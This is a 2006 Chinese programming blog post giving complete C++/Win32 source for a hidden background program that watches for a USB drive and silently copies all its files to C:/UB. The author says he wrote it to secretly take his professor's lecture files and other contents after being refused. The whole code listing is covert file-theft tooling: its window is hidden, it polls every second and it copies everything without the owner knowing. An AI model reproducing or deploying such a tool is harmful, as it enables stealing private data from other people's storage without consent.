運作環境:Windows2000以上版本。
開發語言:C++/API
編輯器:VC6+Sp6
作者:半點閑
開發時間:2006-3-6
程式簡介:
界面:無。
功能:在系統程序中運作,當發現“可移動裝置”時,自動拷貝磁盤中所有檔案(含子目錄中的)。到“C:/UB”目錄中。
起引:
唉,怎麼說呢?反正開始的時候動機不純啊!在學校裡給我們上課的老教授,每次授課時的課件都放在他的U盤裡(其中還有好多好東東......)。而我們每次懇求給我們一份的時候,屢屢都被拒絕。明的不行隻好來暗的了......
FilesCopy.h
// FilesCopy.h: interface for the FilesCopy class.
// 檔案拷貝類功能說明:此類作用是對系統内可移動裝置。
//
#if !defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)
#define AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define UNICODE // 使用寬字元集模式。
#define MAX_BUFFLEN MAX_PATH // 字元緩沖區容量。
#define MAX_DRIVE_NAME 4 // 驅動器名稱字元長度。
#include < windows.h >
class FilesCopy
... {
public:
bool bCopyRemovableFilesAll(); //拷貝可移動驅動器中所有檔案(含子目錄中的檔案)。
bool bSeekMoveDrive (); //查找系統中可用的移動驅動器。
bool bCopyFilesAll(PWCHAR szPathName); //拷貝指定路徑下的所有檔案
FilesCopy();
virtual ~FilesCopy();
private:
bool bCopyFiles(LPCWCH szPathName); //拷貝指定路徑下所有檔案。
//擷取系統驅動器字元串有效的字元長度(含字元中的NULL字元)。
int InEffectDriveStringsLength(LPCWCH lpBuffer);
WCHAR szRemovableDrive[MAX_DRIVE_NAME]; //可移動驅動器。
WCHAR lpBuffer[MAX_BUFFLEN]; //擷取系統可用驅動器名字字元串緩沖區。
DWORD nBufferLength; //系統可用驅動器緩沖區長度。
} ;
#endif // !defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)
FilesCopy.cpp
// FilesCopy.cpp: implementation of the FilesCopy class.
//
//
#include " FilesCopy.h "
//
// Construction/Destruction
//
FilesCopy::FilesCopy()
... {
nBufferLength = MAX_BUFFLEN; //緩沖區長度。
}
FilesCopy:: ~ FilesCopy()
... {
}
int FilesCopy::InEffectDriveStringsLength(LPCWCH lpBuffer)
... {
bool bState = false; //NULL字元狀态(檢測到NULL字元值為true)。
int iCount = 0; //有效字元串計數器。
//int iNull = 0; //計算字元串中NULL字元的個數。
for(int i=0; i < MAX_BUFFLEN; i++)
...{
if(lpBuffer[i] == NULL)
...{
if(bState) //發現字元串結束符(連續兩個NULL字元),退出循環。
...{
//iCount = i - iNull; //計數器指派。
iCount = i;
break;
}
else
...{
bState = true; //發現NULL字元。
//iNull++; //NULL字元計數。
}
}
else
...{
bState = false;
}
}
return iCount;
}
bool FilesCopy::bSeekMoveDrive()
... {
int iStartMark = 0; //字元段起始标記。
int nLen = 0; //字元串中有效長度。
//擷取目前系統驅動器失敗。
if(!::GetLogicalDriveStrings (nBufferLength, lpBuffer)) return false;
//擷取系統驅動器字元串中,有效的字元長度(含盤符間間隔的NULL字元)。
nLen = InEffectDriveStringsLength (lpBuffer);
if(!nLen) return false; //擷取字元串長度失敗。
//分段拷貝驅動器字元,并查找是否是可移動裝置。
for(int i=0; i <= nLen; i++)
...{
if(lpBuffer[i] == NULL)
...{
int k = iStartMark;
for(int j=0; j < MAX_DRIVE_NAME; j++)
...{
szRemovableDrive[j] = lpBuffer[k]; //拷貝字元。
k++;
}
//查找可移動驅動器。
if(::GetDriveType (szRemovableDrive) == DRIVE_REMOVABLE)
...{
//勿略驅動器A,B。
if(!(szRemovableDrive[0] == 'A'))
...{
if(!(szRemovableDrive[0] == 'B'))
...{
return true; //找到可移動裝置,退出循環(程式)。
}
}
if(!(szRemovableDrive[0] == 'B'))
...{
if(!(szRemovableDrive[0] == 'A'))
...{
return true; //找到可移動裝置,退出循環(程式)。
}
}
}
iStartMark = i+1; //重新定義字元段起始位置。
}
}
return false;
}
bool FilesCopy::bCopyFilesAll(PWCHAR szPathName)
... {
int nLen = 0; //字元串長度。
DWORD dwAttrs; //檔案屬性。
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
PWCHAR szPathFileName = NULL; //檔案名(路徑+檔案名)。
PWCHAR szSubDirName = NULL; //子目錄名。
//搜尋目前路徑下的所有檔案。
nLen = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));
szPathFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
if(szPathFileName == NULL) //動态配置設定存儲空間失敗。
...{
return false;
}
::lstrcpy (szPathFileName, szPathName); //複制路徑資訊。
::lstrcat (szPathFileName, TEXT("*.*")); //連結‘檔案名'。
//在目前目錄下搜尋檔案。
hFind = ::FindFirstFile (szPathFileName, &FindFileData);
//未找到比對的檔案。
if(hFind == INVALID_HANDLE_VALUE)
...{
if(szPathFileName != NULL)
...{
free (szPathFileName);
szPathFileName = NULL;
}
FindClose (hFind);
return false;
}
//繼續搜尋滿足條件的檔案。
while(::FindNextFile (hFind, &FindFileData))
...{
//搜尋目前位置下的所有子目錄。
if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
...{
//擷取檔案屬性。
dwAttrs = ::GetFileAttributes (FindFileData.cFileName);
if(dwAttrs & FILE_ATTRIBUTE_ARCHIVE)
...{
if(szSubDirName != NULL)
...{
free (szSubDirName);
szSubDirName = NULL;
}
nLen = ::lstrlen (szPathName) + ::lstrlen (FindFileData.cFileName) + ::lstrlen (TEXT("/"));
szSubDirName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
if(szSubDirName == NULL) //動态配置設定存儲空間失敗。
...{
if(szPathFileName != NULL)
...{
free (szPathFileName);
szPathFileName = NULL;
}
FindClose (hFind);
return false;
}
::lstrcpy (szSubDirName , szPathName); //複制路徑資訊。
::lstrcat (szSubDirName , FindFileData.cFileName);//連結子目錄資訊。
::lstrcat (szSubDirName, TEXT("/")); //連結''符号。
bCopyFiles (szSubDirName); //拷貝檔案。
//開始遞歸。
bCopyFilesAll (szSubDirName);
}
}
}
//釋放程式占用的資源。
if(szPathFileName != NULL)
...{
free (szPathFileName);
szPathFileName = NULL;
}
FindClose (hFind);
return true;
}
bool FilesCopy::bCopyFiles(LPCWCH szPathName)
... {
int nLen = 0;
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
PWCHAR scFileName = NULL; //源目标檔案(路徑+檔案名)。
PWCHAR dsFileName = NULL; //目地檔案(路徑+檔案名)。
nLen = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));
scFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
if(scFileName == NULL) //動态配置設定存儲空間失敗。
...{
return false;
}
::lstrcpy (scFileName, szPathName); //複制路徑。
::lstrcat (scFileName, TEXT("*.*")); //連結‘檔案名’。
//在目前目錄下搜尋檔案。
hFind = ::FindFirstFile (scFileName, &FindFileData);
//未找到比對的檔案。
if(hFind == INVALID_HANDLE_VALUE)
...{
if(scFileName != NULL)
...{
free (scFileName);
scFileName = NULL;
}
FindClose (hFind);
return false;
}
//繼續搜尋滿足條件的檔案。
while(::FindNextFile (hFind, &FindFileData))
...{
//不搜尋目錄。
if(!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
...{
//目地檔案。
nLen = ::lstrlen (TEXT("C:/UB/"))
+ ::lstrlen (FindFileData.cFileName);
dsFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
if(dsFileName == NULL) //動态配置設定存儲空間失敗。
...{
if(scFileName != NULL)
...{
free (scFileName);
scFileName = NULL;
}
FindClose (hFind);
return false;
}
::lstrcpy (dsFileName, TEXT("C:/UB/"));
::lstrcat (dsFileName, FindFileData.cFileName);
//源目标檔案。
nLen = ::lstrlen (szPathName)
+ ::lstrlen (FindFileData.cFileName);
if(scFileName != NULL) //釋放上次調用占用的資源。
...{
free (scFileName);
scFileName = NULL;
}
scFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen +1));
if(scFileName == NULL) //動态配置設定存儲空間失敗。
...{
if(dsFileName != NULL)
...{
free (dsFileName);
dsFileName = NULL;
}
FindClose (hFind);
return false;
}
::lstrcpy (scFileName, szPathName);
::lstrcat (scFileName, FindFileData.cFileName);
//建立目錄。
::CreateDirectory (TEXT("C:/UB/"), NULL);
//拷貝檔案失敗。
if(!CopyFile (scFileName, dsFileName, FALSE))
...{
if(scFileName != NULL)
...{
free (scFileName);
scFileName = NULL;
}
if(dsFileName != NULL)
...{
free (dsFileName);
dsFileName = NULL;
}
FindClose (hFind);
return false;
}
}
}
if(scFileName != NULL)
...{
free (scFileName);
scFileName = NULL;
}
if(dsFileName != NULL)
...{
free (dsFileName);
dsFileName = NULL;
}
FindClose (hFind);
return true;
}
bool FilesCopy::bCopyRemovableFilesAll()
... {
if(bSeekMoveDrive ()) //搜尋系統中的可移動驅動器。
...{
if(bCopyFilesAll (szRemovableDrive))
...{
return true;
}
}
return false;
}
main.cpp
#define TIMER_COPYFILE 1 // 定時拷貝檔案。
#include " FilesCopy.h "
LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
... {
TCHAR szClassName[] = TEXT("MainWClass");
WNDCLASSEX wndclass;
//用描述主視窗的參數填充WNDCLASSEX結構。
wndclass.cbSize = sizeof(wndclass); //結構的大小。
wndclass.style = CS_HREDRAW|CS_VREDRAW; //指定如果大小改變就重畫。
wndclass.lpfnWndProc = MainWndProc; //視窗函數指針。
wndclass.cbClsExtra = 0; //沒有額外的類記憶體。
wndclass.cbWndExtra = 0; //沒有額外的視窗記憶體。
wndclass.hInstance = hInstance; //執行個體句柄。
wndclass.hIcon = ::LoadIcon (NULL, IDI_APPLICATION); //使用預定義圖示。
wndclass.hCursor = ::LoadCursor (NULL, IDC_ARROW); //使用預定義光标。
wndclass.hbrBackground = (HBRUSH)::GetStockObject (WHITE_BRUSH); //使用白色背景。
wndclass.lpszMenuName = NULL; //不指定菜單。
wndclass.lpszClassName = szClassName; //視窗類名稱。
wndclass.hIconSm = NULL; //沒有類的小圖示。
//注冊這個視窗類。
::RegisterClassEx (&wndclass);
//建立主視窗。
HWND hwnd = ::CreateWindowEx (0, //dwExStyle,擴充樣式。
szClassName, //類名。
TEXT("FileCopy"), //視窗标題。
WS_OVERLAPPEDWINDOW, //dwStyle,視窗風格。
CW_USEDEFAULT, //X,坐标。
CW_USEDEFAULT, //Y,坐标。
CW_USEDEFAULT, //nWidth,寬度。
CW_USEDEFAULT, //nHeight,高度。
NULL, //nWndParent,父視窗句柄。
NULL, //hMenu,菜單句柄。
hInstance, //程式執行個體句柄。
NULL); //lpParam,使用者資料。
if(hwnd == NULL)
...{
::MessageBox (NULL, TEXT("視窗出錯!"), TEXT("error"), MB_OK);
return -1;
}
nShowCmd = 0; //不顯示視窗。。
::ShowWindow (hwnd, nShowCmd); //顯示視窗,重新整理視窗客戶區。
::UpdateWindow (hwnd);
//從消息隊列中取出消息,交給視窗函數處理,直到GetMessage傳回FALSE,結束消息循環。
MSG msg;
while(::GetMessage (&msg, NULL, 0, 0))
...{
//轉化鍵盤消息。
::TranslateMessage (&msg);
//将消息發送到相應視窗函數。
::DispatchMessage (&msg);
}
//當GetMessage傳回FALSE時程式結束。
return msg.wParam;
}
LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
... {
static FilesCopy ff;
switch (message)
...{
case WM_CREATE:
::SetTimer (hwnd, TIMER_COPYFILE, 1000, NULL);
return 0;
case WM_TIMER:
switch (wParam)
...{
case TIMER_COPYFILE:
if(ff.bSeekMoveDrive ())
...{
::KillTimer (hwnd, TIMER_COPYFILE);
ff.bCopyRemovableFilesAll ();
break; //退出消息循環,同時也就退出了程式。
}
return 0;
}
case WM_DESTROY: //正在銷毀視窗。
//向消息隊列投遞一個WM_QUIT消息,促使GetMessage函數傳回0,結束消息循環。
::PostQuitMessage (0);
return 0;
}
return (::DefWindowProc (hwnd, message, wParam, lParam));
}
- 源碼下載下傳
- 程式下載下傳